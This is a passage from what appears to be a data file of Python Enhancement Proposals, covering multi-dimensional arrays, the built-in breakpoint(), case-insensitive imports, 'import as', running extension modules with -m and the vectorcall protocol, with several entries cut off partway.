everybody should be encouraged to use it.


id: pep-0209.rst
content:
PEP: 209
Title: Multi-dimensional Arrays
Author: Paul Barrett <barrett@stsci.edu>, Travis Oliphant <oliphant@ee.byu.edu>
Status: Withdrawn
Type: Standards Track
Created: 03-Jan-2001
Python-Version: 2.2
Post-History:

.. withdrawn::

Abstract
========

This PEP proposes a redesign and re-implementation of the
multi-dimensional array module, Numeric, to make it easier to add
new features and functionality to the module.  Aspects of Numeric 2
that will receive special attention are efficient access to arrays
exceeding a gigabyte in size and composed of inhomogeneous data
structures or records.  The proposed design uses four Python
classes: ArrayType, UFunc, Array, and ArrayView; and a low-level
C-extension module, _ufunc, to handle the array operations
efficiently.  In addition, each array type has its own C-extension
module which defines the coercion rules, operations, and methods
for that type.  This design enables new types, features, and
functionality to be added in a modular fashion.  The new version
will introduce some incompatibilities with the current Numeric.


Motivation
==========

Multi-dimensional arrays are commonly used to store and manipulate
data in science, engineering, and computing.  Python currently has
an extension module, named Numeric (henceforth called Numeric 1),
which provides a satisfactory set of functionality for users
manipulating homogeneous arrays of data of moderate size (of order
10 MB).  For access to larger arrays (of order 100 MB or more) of
possibly inhomogeneous data, the implementation of Numeric 1 is
inefficient and cumbersome.  In the future, requests by the
Numerical Python community for additional functionality is also
likely as PEPs 211: Adding New Linear Operators to Python, and
225: Elementwise/Objectwise Operators illustrate.


Proposal
========

This proposal recommends a re-design and re-implementation of
Numeric 1, henceforth called Numeric 2, which will enable new
types, features, and functionality to be added in an easy and
modular manner.  The initial design of Numeric 2 should focus on
providing a generic framework for manipulating arrays of various
types and should enable a straightforward mechanism for adding new
array types and UFuncs.  Functional methods that are more specific
to various disciplines can then be layered on top of this core.
This new module will still be called Numeric and most of the
behavior found in Numeric 1 will be preserved.

The proposed design uses four Python classes: ArrayType, UFunc,
Array, and ArrayView; and a low-level C-extension module to handle
the array operations efficiently.  In addition, each array type
has its own C-extension module which defines the coercion rules,
operations, and methods for that type.  At a later date, when core
functionality is stable, some Python classes can be converted to
C-extension types.

Some planned features are:

1.  Improved memory usage

    This feature is particularly important when handling large arrays
    and can produce significant improvements in performance as well as
    memory usage.  We have identified several areas where memory usage
    can be improved:

    a.  Use a local coercion model

        Instead of using Python's global coercion model which creates
        temporary arrays, Numeric 2, like Numeric 1, will implement a
        local coercion model as described in :pep:`208` which defers the
        responsibility of coercion to the operator.  By using internal
        buffers, a coercion operation can be done for each array
        (including output arrays), if necessary, at the time of the
        operation.  Benchmarks [1]_ have shown that performance is at
        most degraded only slightly and is improved in cases where the
        internal buffers are less than the L2 cache size and the
        processor is under load.  To avoid array coercion altogether,
        C functions having arguments of mixed type are allowed in
        Numeric 2.

    b.  Avoid creation of temporary arrays

        In complex array expressions (i.e. having more than one
        operation), each operation will create a temporary array which
        will be used and then deleted by the succeeding operation.  A
        better approach would be to identify these temporary arrays
        and reuse their data buffers when possible, namely when the
        array shape and type are the same as the temporary array being
        created.  This can be done by checking the temporary array's
        reference count.  If it is 1, then it will be deleted once the
        operation is done and is a candidate for reuse.

    c.  Optional use of memory-mapped files

        Numeric users sometimes need to access data from very large
        files or to handle data that is greater than the available
        memory.  Memory-mapped arrays provide a mechanism to do this
        by storing the data on disk while making it appear to be in
        memory.  Memory- mapped arrays should improve access to all
        files by eliminating one of two copy steps during a file
        access.  Numeric should be able to access in-memory and
        memory-mapped arrays transparently.

    d.  Record access

        In some fields of science, data is stored in files as binary
        records.  For example, in astronomy, photon data is stored as a
        1 dimensional list of photons in order of arrival time.  These
        records or C-like structures contain information about the
        detected photon, such as its arrival time, its position on the
        detector, and its energy.  Each field may be of a different
        type, such as char, int, or float.  Such arrays introduce new
        issues that must be dealt with, in particular byte alignment
        or byte swapping may need to be performed for the numeric
        values to be properly accessed (though byte swapping is also
        an issue for memory mapped data).  Numeric 2 is designed to
        automatically handle alignment and representational issues
        when data is accessed or operated on.  There are two
        approaches to implementing records; as either a derived array
        class or a special array type, depending on your point-of-view.
        We defer this discussion to the Open Issues section.


2.  Additional array types

    Numeric 1 has 11 defined types: char, ubyte, sbyte, short, int,
    long, float, double, cfloat, cdouble, and object.  There are no
    ushort, uint, or ulong types, nor are there more complex types
    such as a bit type which is of use to some fields of science and
    possibly for implementing masked-arrays.  The design of Numeric 1
    makes the addition of these and other types a difficult and
    error-prone process.  To enable the easy addition (and deletion)
    of new array types such as a bit type described below, a re-design
    of Numeric is necessary.

    a.  Bit type

        The result of a rich comparison between arrays is an array of
        boolean values.  The result can be stored in an array of type
        char, but this is an unnecessary waste of memory.  A better
        implementation would use a bit or boolean type, compressing
        the array size by a factor of eight.  This is currently being
        implemented for Numeric 1 (by Travis Oliphant) and should be
        included in Numeric 2.

3.  Enhanced array indexing syntax

    The extended slicing syntax was added to Python to provide greater
    flexibility when manipulating Numeric arrays by allowing
    step-sizes greater than 1.  This syntax works well as a shorthand
    for a list of regularly spaced indices.  For those situations
    where a list of irregularly spaced indices are needed, an enhanced
    array indexing syntax would allow 1-D arrays to be arguments.

4.  Rich comparisons

    The implementation of :pep:`207`: Rich Comparisons in Python 2.1
    provides additional flexibility when manipulating arrays.  We
    intend to implement this feature in Nu


id: pep-0553.rst
content:
PEP: 553
Title: Built-in breakpoint()
Author: Barry Warsaw <barry@python.org>
Status: Final
Type: Standards Track
Created: 05-Sep-2017
Python-Version: 3.7
Post-History: 05-Sep-2017, 07-Sep-2017, 13-Sep-2017
Resolution: https://mail.python.org/pipermail/python-dev/2017-October/149705.html


Abstract
========

This PEP proposes adding a new built-in function called ``breakpoint()`` which
enters a Python debugger at the point of the call.  Additionally, two new
names are added to the ``sys`` module to make the choice of which debugger is
entered configurable.


Rationale
=========

Python has long had a great debugger in its standard library called ``pdb``.
Setting a break point is commonly written like this::

    foo()
    import pdb; pdb.set_trace()
    bar()

Thus after executing ``foo()`` and before executing ``bar()``, Python will
enter the debugger.  However this idiom has several disadvantages.

* It's a lot to type (27 characters).

* It's easy to typo.  The PEP author often mistypes this line, e.g. omitting
  the semicolon, or typing a dot instead of an underscore.

* It ties debugging directly to the choice of pdb.  There might be other
  debugging options, say if you're using an IDE or some other development
  environment.

* Python linters (e.g. flake8 [linters]_) complain about this line because it
  contains two statements.  Breaking the idiom up into two lines complicates
  its use because there are more opportunities for mistakes at clean up time.
  I.e. you might forget to delete one of those lines when you no longer need
  to debug the code.

Python developers also have many other debuggers to choose from, but
remembering how to invoke them can be problematic.  For example, even when
IDEs have user interface for setting breakpoints, it may still be more
convenient to just edit the code.  The APIs for entering the debugger
programmatically are inconsistent, so it can be difficult to remember exactly
what to type.

We can solve all these problems by providing a universal API for entering the
debugger, as proposed in this PEP.


Proposal
========

The JavaScript language provides a ``debugger`` statement [js-debugger]_ which enters
the debugger at the point where the statement appears.

This PEP proposes a new built-in function called ``breakpoint()``
which enters a Python debugger at the call site.  Thus the example
above would be written like so::

    foo()
    breakpoint()
    bar()

Further, this PEP proposes two new name bindings for the ``sys``
module, called ``sys.breakpointhook()`` and
``sys.__breakpointhook__``.  By default, ``sys.breakpointhook()``
implements the actual importing and entry into ``pdb.set_trace()``,
and it can be set to a different function to change the debugger that
``breakpoint()`` enters.

``sys.__breakpointhook__`` is initialized to the same function as
``sys.breakpointhook()`` so that you can always easily reset
``sys.breakpointhook()`` to the default value (e.g. by doing
``sys.breakpointhook = sys.__breakpointhook__``).  This is exactly the same as
how the existing ``sys.displayhook()`` / ``sys.__displayhook__`` and
``sys.excepthook()`` / ``sys.__excepthook__`` work [hooks]_.

The signature of the built-in is ``breakpoint(*args, **kws)``.  The positional
and keyword arguments are passed straight through to ``sys.breakpointhook()``
and the signatures must match or a ``TypeError`` will be raised.  The return
from ``sys.breakpointhook()`` is passed back up to, and returned from
``breakpoint()``.

The rationale for this is based on the observation that the underlying
debuggers may accept additional optional arguments.  For example, IPython
allows you to specify a string that gets printed when the break point is
entered [ipython-embed]_.  As of Python 3.7, the pdb module also supports an
optional ``header`` argument [pdb-header]_.


Environment variable
====================

The default implementation of ``sys.breakpointhook()`` consults a new
environment variable called ``PYTHONBREAKPOINT``.  This environment variable
can have various values:

* ``PYTHONBREAKPOINT=0`` disables debugging.  Specifically, with this value
  ``sys.breakpointhook()`` returns ``None`` immediately.

* ``PYTHONBREAKPOINT=`` (i.e. the empty string).  This is the same as not
  setting the environment variable at all, in which case ``pdb.set_trace()``
  is run as usual.

* ``PYTHONBREAKPOINT=some.importable.callable``.  In this case,
  ``sys.breakpointhook()`` imports the ``some.importable`` module and gets the
  ``callable`` object from the resulting module, which it then calls.  The
  value may be a string with no dots, in which case it names a built-in
  callable, e.g. ``PYTHONBREAKPOINT=int``.  (Guido has expressed the
  preference for normal Python dotted-paths, not setuptools-style entry point
  syntax [syntax]_.)

This environment variable allows external processes to control how breakpoints
are handled.  Some uses cases include:

* Completely disabling all accidental ``breakpoint()`` calls pushed to
  production.  This could be accomplished by setting ``PYTHONBREAKPOINT=0`` in
  the execution environment.  Another suggestion by reviewers of the PEP was
  to set ``PYTHONBREAKPOINT=sys.exit`` in this case.

* IDE integration with specialized debuggers for embedded execution.  The IDE
  would run the program in its debugging environment with ``PYTHONBREAKPOINT``
  set to their internal debugging hook.

``PYTHONBREAKPOINT`` is re-interpreted every time ``sys.breakpointhook()`` is
reached.  This allows processes to change its value during the execution of a
program and have ``breakpoint()`` respond to those changes.  It is not
considered a performance critical section since entering a debugger by
definition stops execution.  Thus, programs can do the following::

    os.environ['PYTHONBREAKPOINT'] = 'foo.bar.baz'
    breakpoint()    # Imports foo.bar and calls foo.bar.baz()

Overriding ``sys.breakpointhook`` defeats the default consultation of
``PYTHONBREAKPOINT``.  It is up to the overriding code to consult
``PYTHONBREAKPOINT`` if they want.

If access to the ``PYTHONBREAKPOINT`` callable fails in any way (e.g. the
import fails, or the resulting module does not contain the callable), a
``RuntimeWarning`` is issued, and no breakpoint function is called.

Note that as with all other ``PYTHON*`` environment variables,
``PYTHONBREAKPOINT`` is ignored when the interpreter is started with
``-E``.  This means the default behavior will occur
(i.e. ``pdb.set_trace()`` will run).  There was some discussion about
alternatively treating ``PYTHONBREAKPOINT=0`` when ``-E`` as in
effect, but the opinions were inconclusive, so it was decided that
this wasn't special enough for a special case.


Implementation
==============

A pull request exists with the proposed implementation [impl]_.

While the actual implementation is in C, the Python pseudo-code for this
feature looks roughly like the following::

    # In builtins.
    def breakpoint(*args, **kws):
        import sys
        missing = object()
        hook = getattr(sys, 'breakpointhook', missing)
        if hook is missing:
            raise RuntimeError('lost sys.breakpointhook')
        return hook(*args, **kws)

    # In sys.
    def breakpointhook(*args, **kws):
        import importlib, os, warnings
        hookname = os.getenv('PYTHONBREAKPOINT')
        if hookname is None or len(hookname) == 0:
            hookname = 'pdb.set_trace'
        elif hookname == '0':
            return None
        modname, dot, funcname = hookname.rpartition('.')
        if dot == '':
            modname = 'builtins'
        try:
            module = importlib.import_module(modname)
            hook = getattr(module, funcname)
        except:
            warnings.warn(
                'Ignoring unimportable $PYTHONBREAKPOINT: {}'.format(
                    hookname),
                RuntimeWarning)
            return None
        return hook(*args, **kws)

    __breakpointhook__ = breakpointhook


Re


id: pep-0235.rst
content:
PEP: 235
Title: Import on Case-Insensitive Platforms
Author: Tim Peters <tim.peters@gmail.com>
Status: Final
Type: Standards Track
Created: 21-Feb-2001
Python-Version: 2.1
Post-History: 16-Feb-2001


Note
====

This is essentially a retroactive PEP: the issue came up too late
in the 2.1 release process to solicit wide opinion before deciding
what to do, and can't be put off until 2.2 without also delaying
the Cygwin and MacOS X ports.


Motivation
==========

File systems vary across platforms in whether or not they preserve
the case of filenames, and in whether or not the platform C
library file-opening functions do or don't insist on
case-sensitive matches::

                         case-preserving     case-destroying
                     +-------------------+------------------+
    case-sensitive   | most Unix flavors | brrrrrrrrrr      |
                     +-------------------+------------------+
    case-insensitive | Windows           | some unfortunate |
                     | MacOSX HFS+       | network schemes  |
                     | Cygwin            |                  |
                     |                   | OpenVMS          |
                     +-------------------+------------------+

In the upper left box, if you create "fiLe" it's stored as "fiLe",
and only ``open("fiLe")`` will open it (``open("file")`` will not, nor
will the 14 other variations on that theme).

In the lower right box, if you create "fiLe", there's no telling
what it's stored as -- but most likely as "FILE" -- and any of the
16 obvious variations on ``open("FilE")`` will open it.

The lower left box is a mix: creating "fiLe" stores "fiLe" in the
platform directory, but you don't have to match case when opening
it; any of the 16 obvious variations on ``open("FILe")`` work.

NONE OF THAT IS CHANGING!  Python will continue to follow platform
conventions w.r.t. whether case is preserved when creating a file,
and w.r.t. whether ``open()`` requires a case-sensitive match.  In
practice, you should always code as if matches were
case-sensitive, else your program won't be portable.

What's proposed is to change the semantics of Python "import"
statements, and there *only* in the lower left box.


Current Lower-Left Semantics
============================

Support for MacOSX HFS+, and for Cygwin, is new in 2.1, so nothing
is changing there.  What's changing is Windows behavior.  Here are
the current rules for import on Windows:

1. Despite that the filesystem is case-insensitive, Python insists
   on a case-sensitive match.  But not in the way the upper left
   box works: if you have two files, ``FiLe.py`` and ``file.py`` on
   ``sys.path``, and do ::

       import file

   then if Python finds ``FiLe.py`` first, it raises a ``NameError``.
   It does *not* go on to find ``file.py``; indeed, it's impossible to
   import any but the first case-insensitive match on ``sys.path``,
   and then only if case matches exactly in the first
   case-insensitive match.

2. An ugly exception: if the first case-insensitive match on
   ``sys.path`` is for a file whose name is entirely in upper case
   (``FILE.PY`` or ``FILE.PYC`` or ``FILE.PYO``), then the import silently
   grabs that, no matter what mixture of case was used in the
   import statement.  This is apparently to cater to miserable old
   filesystems that really fit in the lower right box.  But this
   exception is unique to Windows, for reasons that may or may not
   exist.

3. And another exception: if the environment variable ``PYTHONCASEOK``
   exists, Python silently grabs the first case-insensitive match
   of any kind.

So these Windows rules are pretty complicated, and neither match
the Unix rules nor provide semantics natural for the native
filesystem.  That makes them hard to explain to Unix *or* Windows
users.  Nevertheless, they've worked fine for years, and in
isolation there's no compelling reason to change them.

However, that was before the MacOSX HFS+ and Cygwin ports arrived.
They also have case-preserving case-insensitive filesystems, but
the people doing the ports despised the Windows rules.  Indeed, a
patch to make HFS+ act like Unix for imports got past a reviewer
and into the code base, which incidentally made Cygwin also act
like Unix (but this met the unbounded approval of the Cygwin
folks, so they sure didn't complain -- they had patches of their
own pending to do this, but the reviewer for those balked).

At a higher level, we want to keep Python consistent, by following
the same rules on *all* platforms with case-preserving
case-insensitive filesystems.


Proposed Semantics
==================

The proposed new semantics for the lower left box:

A. If the ``PYTHONCASEOK`` environment variable exists, same as
   before: silently accept the first case-insensitive match of any
   kind; raise ``ImportError`` if none found.

B. Else search ``sys.path`` for the first case-sensitive match; raise
   ``ImportError`` if none found.

#B is the same rule as is used on Unix, so this will improve
cross-platform portability.  That's good.  #B is also the rule the Mac
and Cygwin folks want (and wanted enough to implement themselves,
multiple times, which is a powerful argument in PythonLand).  It
can't cause any existing non-exceptional Windows import to fail,
because any existing non-exceptional Windows import finds a
case-sensitive match first in the path -- and it still will.  An
exceptional Windows import currently blows up with a ``NameError`` or
``ImportError``, in which latter case it still will, or in which
former case will continue searching, and either succeed or blow up
with an ``ImportError``.

#A is needed to cater to case-destroying filesystems mounted on Windows,
and *may* also be used by people so enamored of "natural" Windows
behavior that they're willing to set an environment variable to
get it.  I don't intend to implement #A for Unix too, but that's
just because I'm not clear on how I *could* do so efficiently (I'm
not going to slow imports under Unix just for theoretical purity).

The potential damage is here: #2 (matching on ``ALLCAPS.PY``) is
proposed to be dropped.  Case-destroying filesystems are a
vanishing breed, and support for them is ugly.  We're already
supporting (and will continue to support) ``PYTHONCASEOK`` for their
benefit, but they don't deserve multiple hacks in 2001.


id: pep-0221.rst
content:
PEP: 221
Title: Import As
Author: Thomas Wouters <thomas@python.org>
Status: Final
Type: Standards Track
Created: 15-Aug-2000
Python-Version: 2.0
Post-History:


Introduction
============

This PEP describes the ``import as`` proposal for Python 2.0.  This
PEP tracks the status and ownership of this feature.  It contains
a description of the feature and outlines changes necessary to
support the feature.  The CVS revision history of this file
contains the definitive historical record.


Rationale
=========

This PEP proposes an extension of Python syntax regarding the
``import`` and ``from <module> import`` statements.  These statements
load in a module, and either bind that module to a local name, or
binds objects from that module to a local name.  However, it is
sometimes desirable to bind those objects to a different name, for
instance to avoid name clashes.  This can currently be achieved
using the following idiom::

    import os
    real_os = os
    del os

And similarly for the ``from ... import`` statement::

    from os import fdopen, exit, stat
    os_fdopen = fdopen
    os_stat = stat
    del fdopen, stat

The proposed syntax change would add an optional ``as`` clause to
both these statements, as follows::

    import os as real_os
    from os import fdopen as os_fdopen, exit, stat as os_stat

The ``as`` name is not intended to be a keyword, and some trickery
has to be used to convince the CPython parser it isn't one.  For
more advanced parsers/tokenizers, however, this should not be a
problem.

A slightly special case exists for importing sub-modules.  The
statement ::

    import os.path

stores the module ``os`` locally as ``os``, so that the imported
submodule ``path`` is accessible as ``os.path``.  As a result, ::

    import os.path as p

stores ``os.path``, not ``os``, in ``p``.  This makes it effectively the
same as ::

    from os import path as p


Implementation details
======================

This PEP has been accepted, and the suggested code change has been
checked in.  The patch can still be found in the SourceForge patch
manager [1]_.  Currently, a ``NAME`` field is used in the grammar rather
than a bare string, to avoid the keyword issue.  It introduces a
new bytecode, ``IMPORT_STAR``, which performs the ``from module import
*`` behaviour, and changes the behaviour of the ``IMPORT_FROM``
bytecode so that it loads the requested name (which is always a
single name) onto the stack, to be subsequently stored by a ``STORE``
opcode. As a result, all names explicitly imported now follow the
``global`` directives.

The special case of ``from module import *`` remains a special case,
in that it cannot accommodate an ``as`` clause, and that no ``STORE``
opcodes are generated; the objects imported are loaded directly
into the local namespace. This also means that names imported in
this fashion are always local, and do not follow the ``global``
directive.

An additional change to this syntax has also been suggested, to
generalize the expression given after the ``as`` clause.  Rather
than a single name, it could be allowed to be any expression that
yields a valid l-value; anything that can be assigned to.  The
change to accommodate this is minimal, as the patch [2]_ proves, and
the resulting generalization allows a number of new constructs
that run completely parallel with other Python assignment
constructs. However, this idea has been rejected by Guido, as
"hypergeneralization".


Copyright
=========

This document has been placed in the Public Domain.


References
==========

.. [1] https://hg.python.org/cpython/rev/18385172fac0

.. [2] http://sourceforge.net/patch/?func=detailpatch&patch_id=101234&group_id=5470


id: pep-0547.rst
content:
PEP: 547
Title: Running extension modules using the -m option
Author: Marcel Plch <gmarcel.plch@gmail.com>,
        Petr Viktorin <encukou@gmail.com>
Status: Deferred
Type: Standards Track
Created: 25-May-2017
Python-Version: 3.7
Post-History:


Deferral Notice
===============

Cython -- the most important use case for this PEP and the only explicit
one -- is not ready for multi-phase initialization yet.
It keeps global state in C-level static variables.
See discussion at `Cython issue 1923`_.

The PEP is deferred until the situation changes.


Abstract
========

This PEP proposes implementation that allows built-in and extension
modules to be executed in the ``__main__`` namespace using
the :pep:`489` multi-phase initialization.

With this, a multi-phase initialization enabled module can be run
using following command::

    $ python3 -m _testmultiphase
    This is a test module named __main__.


Motivation
==========

Currently, extension modules do not support all functionality of
Python source modules.
Specifically, it is not possible to run extension modules as scripts using
Python's ``-m`` option.

The technical groundwork to make this possible has been done for :pep:`489`,
and enabling the ``-m`` option is listed in that PEP's
âPossible Future Extensionsâ section.
Technically, the additional changes proposed here are relatively small.


Rationale
=========

Extension modules' lack of support for the ``-m`` option has traditionally
been worked around by providing a Python wrapper.
For example, the ``_pickle`` module's command line interface is in the
pure-Python ``pickle`` module (along with a pure-Python reimplementation).

This works well for standard library modules, as building command line
interfaces using the C API is cumbersome.
However, other users may want to create executable extension modules directly.

An important use case is Cython, a Python-like language that compiles to
C extension modules.
Cython is a (near) superset of Python, meaning that compiling a Python module
with Cython will typically not change the module's functionality, allowing
Cython-specific features to be added gradually.
This PEP will allow Cython extension modules to behave the same as their Python
counterparts when run using the ``-m`` option.
Cython developers consider the feature worth implementing (see
`Cython issue 1715`_).


Background
==========

Python's ``-m`` option is handled by the function
``runpy._run_module_as_main``.

The module specified by ``-m`` is not imported normally.
Instead, it is executed in the namespace of the ``__main__`` module,
which is created quite early in interpreter initialization.

For Python source modules, running in another module's namespace is not
a problem: the code is executed with ``locals`` and ``globals`` set to the
existing module's ``__dict__``.
This is not the case for extension modules, whose ``PyInit_*`` entry point
traditionally both created a new module object (using ``PyModule_Create``),
and initialized it.

Since Python 3.5, extension modules can use :pep:`489` multi-phase initialization.
In this scenario, the ``PyInit_*`` entry point returns a ``PyModuleDef``
structure: a description of how the module should be created and initialized.
The extension can choose to customize creation of the module object using
the ``Py_mod_create`` callback, or opt to use a normal module object by not
specifying ``Py_mod_create``.
Another callback, ``Py_mod_exec``, is then called to initialize the module
object, e.g. by populating it with methods and classes.


Proposal
========

Multi-phase initialization makes it possible to execute an extension module in
another module's namespace: if a ``Py_mod_create`` callback is not specified,
the ``__main__`` module can be passed to the ``Py_mod_exec`` callback to be
initialized, as if ``__main__`` was a freshly constructed module object.

One complication in this scheme is C-level module state.
Each module has a ``md_state`` pointer that points to a region of memory
allocated when an extension module is created.
The ``PyModuleDef`` specifies how much memory is to be allocated.

The implementation must take care that ``md_state`` memory is allocated at most
once.
Also, the ``Py_mod_exec`` callback should only be called once per module.
The implications of multiply-initialized modules are too subtle to require
expecting extension authors to reason about them.
The ``md_state`` pointer itself will serve as a guard: allocating the memory
and calling ``Py_mod_exec`` will always be done together, and initializing an
extension module will fail if ``md_state`` is already non-NULL.

Since the ``__main__`` module is not created as an extension module,
its ``md_state`` is normally ``NULL``.
Before initializing an extension module in ``__main__``'s context, its module
state will be allocated according to the ``PyModuleDef`` of that module.

While :pep:`489` was designed to make these changes generally possible,
it's necessary to decouple module discovery, creation, and initialization
steps for extension modules, so that another module can be used instead of
a newly initialized one, and the functionality needs to be added to
``runpy`` and ``importlib``.


Specification
=============

A new optional method for importlib loaders will be added.
This method will be called ``exec_in_module`` and will take two
positional arguments: module spec and an already existing module.
Any import-related attributes, such as ``__spec__`` or ``__name__``,
already set on the module will be ignored.

The ``runpy._run_module_as_main`` function will look for this new
loader method.
If it is present, ``runpy`` will execute it instead of trying to load and
run the module's Python code.
Otherwise, ``runpy`` will act as before.


ExtensionFileLoader Changes
---------------------------

importlib's ``ExtensionFileLoader`` will get an implementation of
``exec_in_module`` that will call a new function, ``_imp.exec_in_module``.

``_imp.exec_in_module`` will use existing machinery to find and call an
extension module's ``PyInit_*`` function.

The ``PyInit_*`` function can return either a fully initialized module
(single-phase initialization) or a ``PyModuleDef`` (for :pep:`489` multi-phase
initialization).

In the single-phase initialization case, ``_imp.exec_in_module`` will raise
``ImportError``.

In the multi-phase initialization case, the ``PyModuleDef`` and the module to
be initialized will be passed to a new function, ``PyModule_ExecInModule``.

This function raises ``ImportError`` if the ``PyModuleDef`` specifies
a ``Py_mod_create`` slot, or if the module has already been initialized
(i.e. its ``md_state`` pointer is not ``NULL``).
Otherwise, the function will initialize the module according to the
``PyModuleDef``.


Backwards Compatibility
=======================

This PEP maintains backwards compatibility.
It only adds new functions, and a new loader method that is added for
a loader that previously did not support running modules as ``__main__``.


Reference Implementation
========================

The reference implementation of this PEP is available at GitHub_.


References
==========

.. _GitHub: https://github.com/python/cpython/pull/1761
.. _Cython issue 1715: https://github.com/cython/cython/issues/1715
.. _Cython issue 1923: https://github.com/cython/cython/pull/1923


Copyright
=========

This document has been placed in the public domain.


id: pep-0590.rst
content:
PEP: 590
Title: Vectorcall: a fast calling protocol for CPython
Author: Mark Shannon <mark@hotpy.org>, Jeroen Demeyer <J.Demeyer@UGent.be>
BDFL-Delegate: Petr Viktorin <encukou@gmail.com>
Status: Accepted
Type: Standards Track
Created: 29-Mar-2019
Python-Version: 3.8
Post-History:

.. canonical-doc:: :ref:`python:vectorcall`

Abstract
========

This PEP introduces a new C API to optimize calls of objects.
It introduces a new "vectorcall" protocol and calling convention.
This is based on the "fastcall" convention, which is already used internally by CPython.
The new features can be used by any user-defined extension class.

Most of the new API is private in CPython 3.8.
The plan is to finalize semantics and make it public in Python 3.9.

**NOTE**: This PEP deals only with the Python/C API,
it does not affect the Python language or standard library.


Motivation
==========

The choice of a calling convention impacts the performance and flexibility of code on either side of the call.
Often there is tension between performance and flexibility.

The current ``tp_call`` [2]_ calling convention is sufficiently flexible to cover all cases, but its performance is poor.
The poor performance is largely a result of having to create intermediate tuples, and possibly intermediate dicts, during the call.
This is mitigated in CPython by including special-case code to speed up calls to Python and builtin functions.
Unfortunately, this means that other callables such as classes and third party extension objects are called using the
slower, more general ``tp_call`` calling convention.

This PEP proposes that the calling convention used internally for Python and builtin functions is generalized and published
so that all calls can benefit from better performance.
The new proposed calling convention is not fully general, but covers the large majority of calls.
It is designed to remove the overhead of temporary object creation and multiple indirections.

Another source of inefficiency in the ``tp_call`` convention is that it has one function pointer per class,
rather than per object.
This is inefficient for calls to classes as several intermediate objects need to be created.
For a class ``cls``, at least one intermediate object is created for each call in the sequence
``type.__call__``, ``cls.__new__``, ``cls.__init__``.

This PEP proposes an interface for use by extension modules.
Such interfaces cannot effectively be tested, or designed, without having the
consumers in the loop.
For that reason, we provide private (underscore-prefixed) names.
The API may change (based on consumer feedback) in Python 3.9, where we expect
it to be finalized, and the underscores removed.


Specification
=============

The function pointer type
-------------------------

Calls are made through a function pointer taking the following parameters:

* ``PyObject *callable``: The called object
* ``PyObject *const *args``: A vector of arguments
* ``size_t nargs``: The number of arguments plus the optional flag ``PY_VECTORCALL_ARGUMENTS_OFFSET`` (see below)
* ``PyObject *kwnames``: Either ``NULL`` or a tuple with the names of the keyword arguments

This is implemented by the function pointer type:
``typedef PyObject *(*vectorcallfunc)(PyObject *callable, PyObject *const *args, size_t nargs, PyObject *kwnames);``

Changes to the ``PyTypeObject`` struct
--------------------------------------

The unused slot ``printfunc tp_print`` is replaced with ``tp_vectorcall_offset``. It has the type ``Py_ssize_t``.
A new ``tp_flags`` flag is added, ``_Py_TPFLAGS_HAVE_VECTORCALL``,
which must be set for any class that uses the vectorcall protocol.

If ``_Py_TPFLAGS_HAVE_VECTORCALL`` is set, then ``tp_vectorcall_offset`` must be a positive integer.
It is the offset into the object of the vectorcall function pointer of type ``vectorcallfunc``.
This pointer may be ``NULL``, in which case the behavior is the same as if ``_Py_TPFLAGS_HAVE_VECTORCALL`` was not set.

The ``tp_print`` slot is reused as the ``tp_vectorcall_offset`` slot to make it easier for external projects to backport the vectorcall protocol to earlier Python versions.
In particular, the Cython project has shown interest in doing that (see https://mail.python.org/pipermail/python-dev/2018-June/153927.html).

Descriptor behavior
-------------------

One additional type flag is specified: ``Py_TPFLAGS_METHOD_DESCRIPTOR``.

``Py_TPFLAGS_METHOD_DESCRIPTOR`` should be set if the callable uses the descriptor protocol to create a bound method-like object.
This is used by the interpreter to avoid creating temporary objects when calling methods
(see ``_PyObject_GetMethod`` and the ``LOAD_METHOD``/``CALL_METHOD`` opcodes).

Concretely, if ``Py_TPFLAGS_METHOD_DESCRIPTOR`` is set for ``type(func)``, then:

- ``func.__get__(obj, cls)(*args, **kwds)`` (with ``obj`` not None)
  must be equivalent to ``func(obj, *args, **kwds)``.

- ``func.__get__(None, cls)(*args, **kwds)`` must be equivalent to ``func(*args, **kwds)``.

There are no restrictions on the object ``func.__get__(obj, cls)``.
The latter is not required to implement the vectorcall protocol.

The call
--------

The call takes the form ``((vectorcallfunc)(((char *)o)+offset))(o, args, n, kwnames)`` where
``offset`` is ``Py_TYPE(o)->tp_vectorcall_offset``.
The caller is responsible for creating the ``kwnames`` tuple and ensuring that there are no duplicates in it.

``n`` is the number of positional arguments plus possibly the ``PY_VECTORCALL_ARGUMENTS_OFFSET`` flag.

PY_VECTORCALL_ARGUMENTS_OFFSET
------------------------------

The flag ``PY_VECTORCALL_ARGUMENTS_OFFSET`` should be added to ``n``
if the callee is allowed to temporarily change ``args[-1]``.
In other words, this can be used if ``args`` points to argument 1 in the allocated vector.
The callee must restore the value of ``args[-1]`` before returning.

Whenever they can do so cheaply (without allocation), callers are encouraged to use ``PY_VECTORCALL_ARGUMENTS_OFFSET``.
Doing so will allow callables such as bound methods to make their onward calls cheaply.
The bytecode interpreter already allocates space on the stack for the callable,
so it can use this trick at no additional cost.

See [3]_ for an example of how ``PY_VECTORCALL_ARGUMENTS_OFFSET`` is used by a callee to avoid allocation.

For getting the actual number of arguments from the parameter ``n``,
the macro ``PyVectorcall_NARGS(n)`` must be used.
This allows for future changes or extensions.


New C API and changes to CPython
================================

The following functions or macros are added to the C API:

- ``PyObject *_PyObject_Vectorcall(PyObject *obj, PyObject *const *args, size_t nargs, PyObject *keywords)``:
  Calls ``obj`` with the given arguments.
  Note that ``nargs`` may include the flag ``PY_VECTORCALL_ARGUMENTS_OFFSET``.
  The actual number of positional arguments is given by ``PyVectorcall_NARGS(nargs)``.
  The argument ``keywords`` is a tuple of keyword names or ``NULL``.
  An empty tuple has the same effect as passing ``NULL``.
  This uses either the vectorcall protocol or ``tp_call`` internally;
  if neither is supported, an exception is raised.

- ``PyObject *PyVectorcall_Call(PyObject *obj, PyObject *tuple, PyObject *dict)``:
  Call the object (which must support vectorcall) with the old
  ``*args`` and ``**kwargs`` calling convention.
  This is mostly meant to put in the ``tp_call`` slot.

- ``Py_ssize_t PyVectorcall_NARGS(size_t nargs)``: Given a vectorcall ``nargs`` argument,
  return the actual number of arguments.
  Currently equivalent to ``nargs & ~PY_VECTORCALL_ARGUMENTS_OFFSET``.

Subclassing
-----------

Extension types inherit the type flag ``_Py_TPFLAGS_HAVE_VECTORCALL``
and the value ``tp_vectorcall_offset`` from the base class,
provided that they implement ``tp_call`` the same way as the base class.
Additionally, the flag ``Py_TPFLAGS_METHOD_DESCRIPTOR``
is inherited if ``tp_descr_get`` is implemented the same way as the base class.

Heap types


id: pep-0584.rst
content:
PEP: 584
Title: Add Union Operators To dict
Author: Steven D'Aprano <steve@pearwood.info>,
        Brandt Bucher <brandt@python.org>
